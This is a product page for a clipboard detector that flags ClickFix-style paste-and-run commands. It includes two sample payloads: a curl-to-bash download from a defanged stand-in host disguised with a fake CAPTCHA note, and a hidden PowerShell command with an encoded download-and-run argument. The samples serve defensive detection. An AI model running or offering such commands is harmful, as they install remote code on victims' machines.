Suspicious Command

v1.0.8

Little Eye detects Suspicious Command on your clipboard the moment you copy. Flags ClickFix-style paste-and-run shell commands that download and execute remote code.

Examples

macOS ClickFix payload — fake CAPTCHA trailer, pipes a remote script into bash

curl -fsSL hxxps://evil[.]example/setup[.]sh | bash # ✅ I am not a robot — reCAPTCHA Verification ID 7f3a

Windows ClickFix payload — hidden window running a base64-encoded command

powershell -w hidden -enc SQBFAFgAKABpAHcAcgAgAGgAeAB4AHAAOgAvAC8AeAApAA==

Related detectors

Data Fingerprint

Computes MD5, SHA-1, SHA-256, CRC32, and entropy for any text, image, or file you copy.

Debug Info

Inspects the input's source, content preview, and per-type pasteboard contents. Off by default.

Version Control

Recognises a Git, Mercurial, or Subversion checkout on a copied folder — branch, remotes, and repo state.

← All Developer detectors